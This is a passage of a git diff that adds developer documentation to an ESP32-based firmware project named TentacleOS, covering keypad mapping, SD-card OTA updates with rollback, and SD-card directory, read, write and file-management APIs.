default `lv_group_t` (`main_group`) for focus management. + - Associates the keypad input device with this group. + +### Global Variables +- `indev_keypad`: Pointer to the created input device. +- `main_group`: Pointer to the main navigation group. New widgets added to this group can be controlled via buttons. + +### Key Mapping (`keypad_get_key`) + +The port maps physical button states (from `buttons_gpio.h`) to LVGL logical keys: + +| Physical Button | LVGL Key | Function | +| :--- | :--- | :--- | +| **Up Button** | `LV_KEY_PREV` | Focus previous item | +| **Down Button** | `LV_KEY_NEXT` | Focus next item | +| **OK Button** | `LV_KEY_ENTER` | Click/Select | +| **Back Button** | `LV_KEY_ESC` | Back/Close | +| **Left Button** | `LV_KEY_LEFT` | Decrease value / Move Left | +| **Right Button** | `LV_KEY_RIGHT` | Increase value / Move Right | + +### Internal Logic +The `keypad_read` function is called periodically by LVGL. It polls the hardware buttons and updates the `data->state` and `data->key`. It implements a simple state machine where the last pressed key is remembered until all keys are released. diff --git a/docs/ota/README.md b/docs/ota/README.md new file mode 100644 index 000000000..6528f03cd --- /dev/null +++ b/docs/ota/README.md @@ -0,0 +1,86 @@ +# OTA Update Service + +Handles firmware updates for TentacleOS via MicroSD card. Uses A/B OTA partitions with automatic rollback and dual-chip synchronization (ESP32-P4 + ESP32-C5). + +## How It Works + +The C5 firmware is embedded inside the P4 binary at build time. A single `.bin` file updates both chips. + +### Update Flow + +1. Place firmware at `/sdcard/update/tentacleos.bin` +2. Trigger `ota_start_update()` from UI or console +3. P4 validates the file and writes it to the inactive OTA partition +4. P4 reboots into new firmware +5. On boot, `ota_post_boot_check()` verifies the C5 is in sync +6. If C5 version differs, `c5_flasher` updates it via UART +7. If everything is OK, the update is confirmed +8. If anything fails, the bootloader rolls back automatically + +### Rollback + +The system uses two app partitions (`ota_0` / `ota_1`). After OTA, the new firmware must call `esp_ota_mark_app_valid_cancel_rollback()` to confirm. If it doesn't (crash, C5 flash failure, etc.), the bootloader reverts to the previous partition on the next reboot. + +Scenarios: +- **P4 crashes before confirmation** — automatic rollback to previous firmware +- **C5 flash fails** — P4 does not confirm, rollback restores both chips +- **C5 flash interrupted (power loss)** — C5 ROM bootloader is always accessible, P4 re-flashes on next boot +- **Rollback after C5 was already updated** — rolled-back P4 contains old C5 binary, version mismatch triggers re-flash + +### Partition Table + +| Name | Type | Size | +|---|---|---| +| ota_0 | app | 4MB | +| ota_1 | app | 4MB | +| otadata | data | 8K | + +### Versioning + +Version is read from `assets/config/OTA/firmware.json`. Both P4 and C5 share the same version string. The C5 responds its version via `SPI_ID_SYSTEM_VERSION` (0x04). + +## API + +```c +bool ota_update_available(void); +esp_err_t ota_start_update(ota_progress_cb_t progress_cb); +esp_err_t ota_post_boot_check(void); +const char* ota_get_current_version(void); +ota_state_t ota_get_state(void); +``` + +### Progress Callback + +```c +void on_progress(int percent, const char *message) { + // 0-5%: Validating + // 5-90%: Writing to flash + // 90-95%: Finalizing + // 95%: Rebooting +} + +ota_start_update(on_progress); +``` + +### Post Boot Check + +Must be called early in `main.c` before `kernel_init()`: + +```c +ota_post_boot_check(); +``` + +## sdkconfig + +Required: +``` +CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE=y +``` + +## Dependencies + +- `app_update` (esp_ota_ops) +- `bridge_manager` (C5 version check and flash) +- `storage_assets` (firmware.json) +- `sd_card_init` (SD mount status) +- `cJSON` (JSON parsing) diff --git a/docs/sd_card/c5.md b/docs/sd_card/c5.md new file mode 100644 index 000000000..e447bfabf --- /dev/null +++ b/docs/sd_card/c5.md @@ -0,0 +1,962 @@ +# SD Directory Management Component + +Component for managing directories on SD card storage. + +## Overview + +- **Location:** `components/storage/sd_dir/` +- **Main Header:** `include/sd_dir.h` +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` + +## Key Features + +- **Directory Operations:** Create, delete, list, and check existence +- **Recursive Operations:** Remove trees, copy directories, calculate sizes +- **Predefined Paths:** System-wide constants for organizing data +- **Callback System:** Efficient iteration with custom callbacks +- **Statistics:** Count files/directories, calculate storage usage + +## Predefined System Directories + +| Constant | Path | Purpose | +|----------|------|---------| +| `SD_BASE_PATH` | `/sdcard` | Root mount point | +| `SD_DIR_IR` | `/ir` | Infrared signal files | +| `SD_DIR_BADUSB` | `/badusb` | DuckyScript payloads | +| `SD_DIR_NFC` | `/nfc` | NFC tag data | +| `SD_DIR_RFID` | `/rfid` | RFID card data | +| `SD_DIR_SUBGHZ` | `/subghz` | Sub-GHz captures | +| `SD_DIR_CONFIG` | `/config` | Configuration files | +| `SD_DIR_LOGS` | `/logs` | Application logs | +| `SD_DIR_BACKUP` | `/backups` | System backups | + +**Note:** Paths are relative to `SD_BASE_PATH`. Use `SD_BASE_PATH SD_DIR_BADUSB` → `/sdcard/badusb` + +## API Reference + +### Directory Creation & Deletion + +#### `sd_dir_create` +```c +esp_err_t sd_dir_create(const char *path); +``` +Creates directory with automatic parent creation (like `mkdir -p`). + +**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. + +--- + +#### `sd_dir_remove_recursive` +```c +esp_err_t sd_dir_remove_recursive(const char *path); +``` +Recursively deletes directory and all contents. **Use with caution.** + +**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. + +--- + +### Directory Information + +#### `sd_dir_exists` +```c +bool sd_dir_exists(const char *path); +``` +Checks if directory exists. + +**Returns:** `true` if exists, `false` otherwise. + +--- + +#### `sd_dir_list` +```c +typedef void (*sd_dir_callback_t)(const char *name, bool is_dir, void *user_data); +esp_err_t sd_dir_list(const char *path, sd_dir_callback_t callback, void *user_data); +``` +Iterates through directory entries, calling callback for each item. + +**Example:** +```c +void print_entry(const char *name, bool is_dir, void *user_data) { + printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); +} +sd_dir_list("/sdcard/badusb", print_entry, NULL); +``` + +--- + +#### `sd_dir_count` +```c +esp_err_t sd_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count); +``` +Counts files and subdirectories (non-recursive). + +**Returns:** `ESP_OK` on success. + +--- + +#### `sd_dir_get_size` +```c +esp_err_t sd_dir_get_size(const char *path, uint64_t *total_size); +``` +Calculates total size of all files in directory tree (recursive). + +**Returns:** `ESP_OK` on success. + +--- + +### Directory Operations + +#### `sd_dir_copy_recursive` +```c +esp_err_t sd_dir_copy_recursive(const char *src, const char *dst); +``` +Copies entire directory tree, preserving structure. + +**Returns:** `ESP_OK` on success. + +--- + +## Implementation Details + +- All functions require full paths including `SD_BASE_PATH` +- Functions are not thread-safe - use mutexes for concurrent access +- Recursive operations may fail on deeply nested directories + +## Usage Example + +```c +void init_storage_structure(void) { + const char *dirs[] = {SD_DIR_IR, SD_DIR_BADUSB, SD_DIR_CONFIG, SD_DIR_LOGS}; + + for (int i = 0; i < 4; i++) { + char path[64]; + snprintf(path, sizeof(path), "%s%s", SD_BASE_PATH, dirs[i]); + sd_dir_create(path); + } +} +``` + +--- + +# SD Card Information Component + +Component for querying SD card hardware and filesystem statistics. + +## Overview + +- **Location:** `components/storage/sd_card_info/` +- **Main Header:** `include/sd_card_info.h` +- **Dependencies:** `esp_vfs_fat`, `sdmmc_cmd`, `ff`, `storage_sd` + +## Key Features + +- **Hardware Info:** Card name, capacity, speed, type +- **Filesystem Stats:** Total, used, free space with percentages +- **Mount Status:** Check if card is accessible +- **Debug Output:** Console logging of card information + +## Data Structures + +### `sd_card_info_t` +```c +typedef struct { + char name[16]; // Card manufacturer name + uint32_t capacity_mb; // Total capacity in MB + uint32_t sector_size; // Sector size in bytes + uint32_t num_sectors; // Total number of sectors + uint32_t speed_khz; // Max speed in kHz + uint8_t card_type; // Card type identifier + bool is_mounted; // Mount status +} sd_card_info_t; +``` + +### `sd_fs_stats_t` +```c +typedef struct { + uint64_t total_bytes; // Total capacity + uint64_t used_bytes; // Space in use + uint64_t free_bytes; // Available space +} sd_fs_stats_t; +``` + +## API Reference + +### Card Information + +#### `sd_get_card_info` +```c +esp_err_t sd_get_card_info(sd_card_info_t *info); +``` +Retrieves complete hardware information. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_ERR_INVALID_ARG`. + +--- + +#### `sd_print_card_info` +```c +void sd_print_card_info(void); +``` +Prints formatted card information to console. + +--- + +### Filesystem Statistics + +#### `sd_get_fs_stats` +```c +esp_err_t sd_get_fs_stats(sd_fs_stats_t *stats); +``` +Retrieves complete filesystem statistics. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, `ESP_ERR_INVALID_ARG`, or `ESP_FAIL`. + +--- + +#### `sd_get_free_space` +```c +esp_err_t sd_get_free_space(uint64_t *free_bytes); +``` +Gets available free space. + +--- + +#### `sd_get_total_space` +```c +esp_err_t sd_get_total_space(uint64_t *total_bytes); +``` +Gets total filesystem capacity. + +--- + +#### `sd_get_used_space` +```c +esp_err_t sd_get_used_space(uint64_t *used_bytes); +``` +Gets space currently in use. + +--- + +#### `sd_get_usage_percent` +```c +esp_err_t sd_get_usage_percent(float *percentage); +``` +Calculates usage percentage (0.0 to 100.0). + +--- + +### Individual Attributes + +#### `sd_get_card_name` +```c +esp_err_t sd_get_card_name(char *name, size_t size); +``` +Gets manufacturer name. + +--- + +#### `sd_get_capacity` +```c +esp_err_t sd_get_capacity(uint32_t *capacity_mb); +``` +Gets total capacity in MB. + +--- + +#### `sd_get_speed` +```c +esp_err_t sd_get_speed(uint32_t *speed_khz); +``` +Gets maximum communication speed. + +--- + +#### `sd_get_card_type` +```c +esp_err_t sd_get_card_type(uint8_t *type); +``` +Gets raw card type identifier. + +--- + +#### `sd_get_card_type_name` +```c +esp_err_t sd_get_card_type_name(char *type_name, size_t size); +``` +Gets human-readable card type string. + +--- + +## Implementation Details + +- Uses FatFS `f_getfree()` for filesystem stats +- Accesses SDMMC layer for hardware information +- All functions verify mount status before access +- Thread-safe for read operations + +## Usage Example + +```c +void check_storage_health(void) { + sd_card_info_t info; + float usage; + + if (sd_get_card_info(&info) == ESP_OK && + sd_get_usage_percent(&usage) == ESP_OK) { + + printf("Card: %s (%lu MB)\n", info.name, info.capacity_mb); + printf("Usage: %.1f%%\n", usage); + + if (usage > 90.0f) { + printf("WARNING: Low disk space!\n"); + } + } +} +``` + +--- + +# SD Card Initialization Component + +Component for SD card initialization, mounting, and lifecycle management. + +## Overview + +- **Location:** `components/storage/sd_card_init/` +- **Main Header:** `include/sd_card_init.h` +- **Dependencies:** `esp_vfs_fat`, `driver/sdspi_host`, `sdmmc_cmd`, `spi`, `pin_def` + +## Key Features + +- **Simple Initialization:** One-function setup with defaults +- **Custom Configuration:** Control max files, auto-format, allocation size +- **Mount Management:** Mount, unmount, remount, check status +- **Shared SPI Bus:** Integration with centralized SPI driver +- **Health Monitoring:** Basic health checks +- **Card Handle Access:** Low-level SDMMC handle for advanced use + +## Configuration + +```c +#define SD_MOUNT_POINT "/sdcard" // VFS mount point +#define SD_MAX_FILES 5 // Max open files +#define SD_ALLOCATION_UNIT 16 * 1024 // 16KB cluster size +#define SDMMC_FREQ_DEFAULT 20000 // 20MHz speed +``` + +## API Reference + +### Initialization + +#### `sd_init` +```c +esp_err_t sd_init(void); +``` +Initializes SD card with default settings. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. + +--- + +#### `sd_init_custom` +```c +esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); +``` +Initializes with custom parameters. + +**Warning:** `format_if_failed=true` erases all data on mount failure. + +--- + +#### `sd_init_custom_pins` +```c +esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); +``` +**Deprecated:** Custom pins not supported with shared SPI driver. + +--- + +### Deinitialization + +#### `sd_deinit` +```c +esp_err_t sd_deinit(void); +``` +Unmounts SD card and releases resources. Close all files first. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. + +--- + +### Status & Maintenance + +#### `sd_is_mounted` +```c +bool sd_is_mounted(void); +``` +Checks if SD card is mounted. + +--- + +#### `sd_remount` +```c +esp_err_t sd_remount(void); +``` +Unmounts and remounts SD card (useful for error recovery). + +--- + +#### `sd_check_health` +```c +esp_err_t sd_check_health(void); +``` +Performs basic health check. + +--- + +#### `sd_reset_bus` +```c +esp_err_t sd_reset_bus(void); +``` +**Not Supported:** Returns `ESP_ERR_NOT_SUPPORTED`. Use `sd_remount()` instead. + +--- + +### Advanced Access + +#### `sd_get_card_handle` +```c +sdmmc_card_t* sd_get_card_handle(void); +``` +Returns pointer to internal SDMMC card structure. Returns `NULL` if not mounted. + +**Warning:** Direct manipulation can interfere with VFS operations. + +--- + +## Implementation Details + +### SPI Configuration +```c +spi_device_config_t sd_cfg = { + .cs_pin = SD_CARD_CS_PIN, + .clock_speed_hz = 20000 * 1000, + .mode = 0, + .queue_size = 4, +}; +``` + +### Mount Configuration +```c +esp_vfs_fat_sdmmc_mount_config_t mount_config = { + .format_if_mount_failed = false, + .max_files = 5, + .allocation_unit_size = 16 * 1024, +}; +``` + +## Troubleshooting + +| Problem | Solutions | +|---------|-----------| +| `sd_init()` returns `ESP_FAIL` | Check card insertion, verify pins, try different card, enable debug logs | +| File operations fail | Check filesystem corruption, verify max_files limit, close file handles, try remount | +| Random disconnects | Check power supply, verify connections, reduce clock speed, add pull-ups | +| `sd_deinit()` fails | Close all file handles first, check for active tasks | + +## Usage Example + +```c +void storage_init(void) { + if (sd_init() == ESP_OK) { + ESP_LOGI(TAG, "SD card mounted"); + sd_dir_create("/sdcard/config"); + } else { + ESP_LOGE(TAG, "SD card mount failed"); + } +} +``` + +--- + +# SD Card Read Component + +Component for comprehensive SD card file reading operations. + +## Overview + +- **Location:** `components/storage/sd_card_read/` +- **Main Header:** `include/sd_card_read.h` +- **Dependencies:** `esp_vfs_fat`, `storage_sd` + +## Key Features + +- **Text Reading:** Entire files, specific lines, line-by-line processing +- **Binary Reading:** Raw data, chunks, individual bytes +- **Type Conversion:** Direct reading of integers, floats +- **Content Search:** String search and occurrence counting +- **Flexible Paths:** Automatic `/sdcard` prefix for relative paths + +## Configuration + +```c +#define MAX_PATH_LEN 256 // Maximum path length +#define MAX_LINE_LEN 512 // Maximum line length +``` + +## API Reference + +### Text Reading + +#### `sd_read_string` +```c +esp_err_t sd_read_string(const char *path, char *buffer, size_t buffer_size); +``` +Reads entire file as null-terminated string. + +--- + +#### `sd_read_line` +```c +esp_err_t sd_read_line(const char *path, char *buffer, size_t buffer_size, uint32_t line_number); +``` +Reads specific line (1-based index). + +--- + +#### `sd_read_first_line` +```c +esp_err_t sd_read_first_line(const char *path, char *buffer, size_t buffer_size); +``` +Reads first line. Equivalent to `sd_read_line(path, buffer, size, 1)`. + +--- + +#### `sd_read_last_line` +```c +esp_err_t sd_read_last_line(const char *path, char *buffer, size_t buffer_size); +``` +Reads last line. + +--- + +#### `sd_read_lines` +```c +typedef void (*sd_line_callback_t)(const char *line, void *user_data); +esp_err_t sd_read_lines(const char *path, sd_line_callback_t callback, void *user_data); +``` +Processes each line via callback. Memory-efficient for large files. + +--- + +#### `sd_count_lines` +```c +esp_err_t sd_count_lines(const char *path, uint32_t *line_count); +``` +Counts total lines in file. + +--- + +### Binary Reading + +#### `sd_read_binary` +```c +esp_err_t sd_read_binary(const char *path, void *buffer, size_t size, size_t *bytes_read); +``` +Reads raw binary data. + +--- + +#### `sd_read_chunk` +```c +esp_err_t sd_read_chunk(const char *path, size_t offset, void *buffer, size_t size, size_t *bytes_read); +``` +Reads data chunk from specific offset. + +--- + +#### `sd_read_bytes` +```c +esp_err_t sd_read_bytes(const char *path, uint8_t *bytes, size_t max_count, size_t *count); +``` +Alias for `sd_read_binary` with byte array typing. + +--- + +#### `sd_read_byte` +```c +esp_err_t sd_read_byte(const char *path, uint8_t *byte); +``` +Reads single byte. + +--- + +### Type Conversion + +#### `sd_read_int` +```c +esp_err_t sd_read_int(const char *path, int32_t *value); +``` +Reads and converts to 32-bit integer. + +--- + +#### `sd_read_float` +```c +esp_err_t sd_read_float(const char *path, float *value); +``` +Reads and converts to float. + +--- + +### Content Search + +#### `sd_file_contains` +```c +esp_err_t sd_file_contains(const char *path, const char *search, bool *found); +``` +Checks if string exists in file. + +--- + +#### `sd_count_occurrences` +```c +esp_err_t sd_count_occurrences(const char *path, const char *search, uint32_t *count); +``` +Counts string occurrences in file. + +--- + +## Implementation Details + +- Line functions allocate 512-byte stack buffers +- Use `sd_read_lines()` callback for large files +- Thread-safe for different files +- Automatic path formatting (relative → absolute) + +## Usage Example + +```c +void process_config(void) { + char buffer[256]; + + // Read entire file + if (sd_read_string("/config/settings.txt", buffer, sizeof(buffer)) == ESP_OK) { + printf("Config: %s\n", buffer); + } + + // Process line-by-line + sd_read_lines("/logs/system.log", [](const char *line, void *ctx) { + printf("Log: %s\n", line); + }, NULL); +} +``` + +--- + +# SD Card Write Component + +Component for comprehensive SD card file writing operations. + +## Overview + +- **Location:** `components/storage/sd_card_write/` +- **Main Header:** `include/sd_card_write.h` +- **Dependencies:** `esp_vfs_fat`, `storage_sd` + +## Key Features + +- **Text Writing:** Strings, lines, formatted text +- **Binary Writing:** Raw data, buffers, individual bytes +- **Append Operations:** Add to existing files +- **Formatted Output:** Printf-style writing +- **CSV Support:** Simplified row writing + +## API Reference + +### Text Writing + +#### `sd_write_string` / `sd_append_string` +```c +esp_err_t sd_write_string(const char *path, const char *data); +esp_err_t sd_append_string(const char *path, const char *data); +``` +Writes or appends string. + +--- + +#### `sd_write_line` / `sd_append_line` +```c +esp_err_t sd_write_line(const char *path, const char *line); +esp_err_t sd_append_line(const char *path, const char *line); +``` +Writes or appends line with automatic newline. + +--- + +#### `sd_write_formatted` / `sd_append_formatted` +```c +esp_err_t sd_write_formatted(const char *path, const char *format, ...); +esp_err_t sd_append_formatted(const char *path, const char *format, ...); +``` +Printf-style formatted writing. + +--- + +### Binary Writing + +#### `sd_write_binary` / `sd_append_binary` +```c +esp_err_t sd_write_binary(const char *path, const void *data, size_t size); +esp_err_t sd_append_binary(const char *path, const void *data, size_t size); +``` +Writes or appends binary data. + +--- + +#### `sd_write_buffer` +```c +esp_err_t sd_write_buffer(const char *path, const void *buffer, size_t size); +``` +Alias for `sd_write_binary`. + +--- + +#### `sd_write_bytes` +```c +esp_err_t sd_write_bytes(const char *path, const uint8_t *bytes, size_t count); +``` +Writes byte array. + +--- + +#### `sd_write_byte` +```c +esp_err_t sd_write_byte(const char *path, uint8_t byte); +``` +Writes single byte. + +--- + +### Type Helpers + +#### `sd_write_int` +```c +esp_err_t sd_write_int(const char *path, int32_t value); +``` +Writes integer as decimal text. + +--- + +#### `sd_write_float` +```c +esp_err_t sd_write_float(const char *path, float value); +``` +Writes float with 6 decimal places. + +--- + +### CSV Support + +#### `sd_write_csv_row` / `sd_append_csv_row` +```c +esp_err_t sd_write_csv_row(const char *path, const char **columns, size_t num_columns); +esp_err_t sd_append_csv_row(const char *path, const char **columns, size_t num_columns); +``` +Writes or appends CSV row (comma-separated with newline). + +--- + +## Implementation Details + +- All writes verify byte count matches expected size +- Automatic `/sdcard` prefix for relative paths +- Buffers flushed automatically on file close + +## Usage Example + +```c +void log_event(const char *type, const char *msg) { + time_t now = time(NULL); + sd_append_formatted("/logs/events.log", "[%ld] %s: %s\n", now, type, msg); +} + +void save_sensor_data(float temp, float humidity) { + const char *row[] = { + "Temperature", "Humidity" + }; + sd_write_csv_row("/data/sensors.csv", row, 2); + + char temp_str[16], hum_str[16]; + snprintf(temp_str, sizeof(temp_str), "%.2f", temp); + snprintf(hum_str, sizeof(hum_str), "%.2f", humidity); + + const char *data[] = {temp_str, hum_str}; + sd_append_csv_row("/data/sensors.csv", data, 2); +} +``` + +--- + +# SD Card File Management Component + +Component for comprehensive SD card file operations. + +## Overview + +- **Location:** `components/storage/sd_card_file/` +- **Main Header:** `include/sd_card_file.h` +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` + +## Key Features + +- **File Operations:** Create, delete, rename, move, copy +- **Metadata Access:** Size, modification time, attributes +- **File Comparison:** Byte-by-byte comparison +- **File Truncation:** Resize to specific length +- **Utilities:** Check existence, get extensions, clear contents + +## Data Structures + +### `sd_file_info_t` +```c +typedef struct { + char path[256]; // Full path + size_t size; // File size in bytes + time_t modified_time; // Last modification time + bool is_directory; // Directory flag +} sd_file_info_t; +``` + +## API Reference + +### File Information + +#### `sd_file_exists` +```c +bool sd_file_exists(const char *path); +``` +Checks if file exists. + +--- + +#### `sd_file_get_info` +```c +esp_err_t sd_file_get_info(const char *path, sd_file_info_t *info); +``` +Retrieves complete file information. + +--- + +#### `sd_file_get_size` +```c +esp_err_t sd_file_get_size(const char *path, size_t *size); +``` +Gets file size in bytes. + +--- + +#### `sd_file_is_empty` +```c +esp_err_t sd_file_is_empty(const char *path, bool *is_empty); +``` +Checks if file has zero bytes. + +--- + +### File Manipulation + +#### `sd_file_delete` +```c +esp_err_t sd_file_delete(const char *path); +``` +Permanently deletes file. + +--- + +#### `sd_file_rename` +```c +esp_err_t sd_file_rename(const char *old_path, const char *new_path); +``` +Renames or moves file (same filesystem). + +--- + +#### `sd_file_move` +```c +esp_err_t sd_file_move(const char *src_path, const char *dst_path); +``` +Moves file (alias for rename). + +--- + +#### `sd_file_copy` +```c +esp_err_t sd_file_copy(const char *src_path, const char *dst_path); +``` +Copies file (source unchanged). + +--- + +#### `sd_file_truncate` +```c +esp_err_t sd_file_truncate(const char *path, size_t size); +``` +Resizes file to specified size. + +--- + +#### `sd_file_clear` +```c +esp_err_t sd_file_clear(const char *path); +``` +Clears all content (makes empty). + +--- + +### File Comparison + +#### `sd_file_compare` +```c +esp_err_t sd_file_compare(const char *path1, const char *path2, bool *are_equal); +``` +Byte-by-byte comparison. + +--- + +### Utilities + +#### `sd_file_get_extension` +```c +esp_err_t sd_file_get_extension(const char *path, char *extension, size_t size); +``` +Extracts file extension (without dot). + +--- + +## Implementation Details + +- Rename/move are atomic, copy is not +- Path buffer in `sd_file_info_t` is 256 bytes +- Not thread-safe - use mutexes for concurrent access + +## Usage Example + +```c +esp_err_t backup_config(void) { + const char *config = "/sdcard/config/settings.json"; + const char *backup = "/sdcard/backups/settings.json"; + + // Create backup + if (sd_file_copy(config, backup) != ESP_OK) { + return ESP_FAIL; + } + + // Verify backup + bool equal; + sd_file_compare(config, backup, &equal); + + return equal ? ESP_OK : ESP_FAIL; +} +``` \ No newline at end of file diff --git a/docs/sd_card/p4.md b/docs/sd_card/p4.md new file mode 100644 index 000000000..6d1a58dd1 --- /dev/null +++ b/docs/sd_card/p4.md @@ -0,0 +1,949 @@ +# SD Directory Management Component + +Component for managing directories on SD card storage. + +## Overview + +- **Location:** `components/storage/sd_dir/` +- **Main Header:** `include/sd_dir.h` +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` + +## Key Features + +- **Directory Operations:** Create, delete, list, and check existence +- **Recursive Operations:** Remove trees, copy directories, calculate sizes +- **Predefined Paths:** System-wide constants for organizing data +- **Callback System:** Efficient iteration with custom callbacks +- **Statistics:** Count files/directories, calculate storage usage + +## Path Constants + +All path constants have been centralized in `tos_storage_paths.h` using `TOS_PATH_*` macros. +The sd_card component uses `VFS_MOUNT_POINT` (from `vfs_config.h`) as the mount point prefix. + +See `storage_api/include/tos_storage_paths.h` for the full list of available paths. + +## API Reference + +### Directory Creation & Deletion + +#### `sd_dir_create` +```c +esp_err_t sd_dir_create(const char *path); +``` +Creates directory with automatic parent creation (like `mkdir -p`). + +**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. + +--- + +#### `sd_dir_remove_recursive` +```c +esp_err_t sd_dir_remove_recursive(const char *path); +``` +Recursively deletes directory and all contents. **Use with caution.** + +**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. + +--- + +### Directory Information + +#### `sd_dir_exists` +```c +bool sd_dir_exists(const char *path); +``` +Checks if directory exists. + +**Returns:** `true` if exists, `false` otherwise. + +--- + +#### `sd_dir_list` +```c +typedef void (*sd_dir_callback_t)(const char *name, bool is_dir, void *user_data); +esp_err_t sd_dir_list(const char *path, sd_dir_callback_t callback, void *user_data); +``` +Iterates through directory entries, calling callback for each item. + +**Example:** +```c +void print_entry(const char *name, bool is_dir, void *user_data) { + printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); +} +sd_dir_list("/sdcard/badusb", print_entry, NULL); +``` + +--- + +#### `sd_dir_count` +```c +esp_err_t sd_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count); +``` +Counts files and subdirectories (non-recursive). + +**Returns:** `ESP_OK` on success. + +--- + +#### `sd_dir_get_size` +```c +esp_err_t sd_dir_get_size(const char *path, uint64_t *total_size); +``` +Calculates total size of all files in directory tree (recursive). + +**Returns:** `ESP_OK` on success. + +--- + +### Directory Operations + +#### `sd_dir_copy_recursive` +```c +esp_err_t sd_dir_copy_recursive(const char *src, const char *dst); +``` +Copies entire directory tree, preserving structure. + +**Returns:** `ESP_OK` on success. + +--- + +## Implementation Details + +- All functions require full paths including `VFS_MOUNT_POINT` +- Functions are not thread-safe - use mutexes for concurrent access +- Recursive operations may fail on deeply nested directories + +## Usage Example + +```c +#include "tos_storage_paths.h" + +void example(void) { + sd_dir_create(TOS_PATH_NFC); + sd_dir_create(TOS_PATH_BADUSB); +} +``` + +--- + +# SD Card Information Component + +Component for querying SD card hardware and filesystem statistics. + +## Overview + +- **Location:** `components/storage/sd_card_info/` +- **Main Header:** `include/sd_card_info.h` +- **Dependencies:** `esp_vfs_fat`, `sdmmc_cmd`, `ff`, `storage_sd` + +## Key Features + +- **Hardware Info:** Card name, capacity, speed, type +- **Filesystem Stats:** Total, used, free space with percentages +- **Mount Status:** Check if card is accessible +- **Debug Output:** Console logging of card information + +## Data Structures + +### `sd_card_info_t` +```c +typedef struct { + char name[16]; // Card manufacturer name + uint32_t capacity_mb; // Total capacity in MB + uint32_t sector_size; // Sector size in bytes + uint32_t num_sectors; // Total number of sectors + uint32_t speed_khz; // Max speed in kHz + uint8_t card_type; // Card type identifier + bool is_mounted; // Mount status +} sd_card_info_t; +``` + +### `sd_fs_stats_t` +```c +typedef struct { + uint64_t total_bytes; // Total capacity + uint64_t used_bytes; // Space in use + uint64_t free_bytes; // Available space +} sd_fs_stats_t; +``` + +## API Reference + +### Card Information + +#### `sd_get_card_info` +```c +esp_err_t sd_get_card_info(sd_card_info_t *info); +``` +Retrieves complete hardware information. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_ERR_INVALID_ARG`. + +--- + +#### `sd_print_card_info` +```c +void sd_print_card_info(void); +``` +Prints formatted card information to console. + +--- + +### Filesystem Statistics + +#### `sd_get_fs_stats` +```c +esp_err_t sd_get_fs_stats(sd_fs_stats_t *stats); +``` +Retrieves complete filesystem statistics. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, `ESP_ERR_INVALID_ARG`, or `ESP_FAIL`. + +--- + +#### `sd_get_free_space` +```c +esp_err_t sd_get_free_space(uint64_t *free_bytes); +``` +Gets available free space. + +--- + +#### `sd_get_total_space` +```c +esp_err_t sd_get_total_space(uint64_t *total_bytes); +``` +Gets total filesystem capacity. + +--- + +#### `sd_get_used_space` +```c +esp_err_t sd_get_used_space(uint64_t *used_bytes); +``` +Gets space currently in use. + +--- + +#### `sd_get_usage_percent` +```c +esp_err_t sd_get_usage_percent(float *percentage); +``` +Calculates usage percentage (0.0 to 100.0). + +--- + +### Individual Attributes + +#### `sd_get_card_name` +```c +esp_err_t sd_get_card_name(char *name, size_t size); +``` +Gets manufacturer name. + +--- + +#### `sd_get_capacity` +```c +esp_err_t sd_get_capacity(uint32_t *capacity_mb); +``` +Gets total capacity in MB. + +--- + +#### `sd_get_speed` +```c +esp_err_t sd_get_speed(uint32_t *speed_khz); +``` +Gets maximum communication speed. + +--- + +#### `sd_get_card_type` +```c +esp_err_t sd_get_card_type(uint8_t *type); +``` +Gets raw card type identifier. + +--- + +#### `sd_get_card_type_name` +```c +esp_err_t sd_get_card_type_name(char *type_name, size_t size); +``` +Gets human-readable card type string. + +--- + +## Implementation Details + +- Uses FatFS `f_getfree()` for filesystem stats +- Accesses SDMMC layer for hardware information +- All functions verify mount status before access +- Thread-safe for read operations + +## Usage Example + +```c +void check_storage_health(void) { + sd_card_info_t info; + float usage; + + if (sd_get_card_info(&info) == ESP_OK && + sd_get_usage_percent(&usage) == ESP_OK) { + + printf("Card: %s (%lu MB)\n", info.name, info.capacity_mb); + printf("Usage: %.1f%%\n", usage); + + if (usage > 90.0f) { + printf("WARNING: Low disk space!\n"); + } + } +} +``` + +--- + +# SD Card Initialization Component + +Component for SD card initialization, mounting, and lifecycle management. + +## Overview + +- **Location:** `components/storage/sd_card_init/` +- **Main Header:** `include/sd_card_init.h` +- **Dependencies:** `esp_vfs_fat`, `driver/sdspi_host`, `sdmmc_cmd`, `spi`, `pin_def` + +## Key Features + +- **Simple Initialization:** One-function setup with defaults +- **Custom Configuration:** Control max files, auto-format, allocation size +- **Mount Management:** Mount, unmount, remount, check status +- **Shared SPI Bus:** Integration with centralized SPI driver +- **Health Monitoring:** Basic health checks +- **Card Handle Access:** Low-level SDMMC handle for advanced use + +## Configuration + +```c +// VFS_MOUNT_POINT is defined in vfs_config.h (e.g. "/sdcard") +#define SD_MAX_FILES 10 // Max open files +#define SD_ALLOCATION_UNIT 16 * 1024 // 16KB cluster size +``` + +## API Reference + +### Initialization + +#### `sd_init` +```c +esp_err_t sd_init(void); +``` +Initializes SD card with default settings. + +**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. + +--- + +#### `sd_init_custom` +```c +esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); +``` +Initializes with custom parameters. + 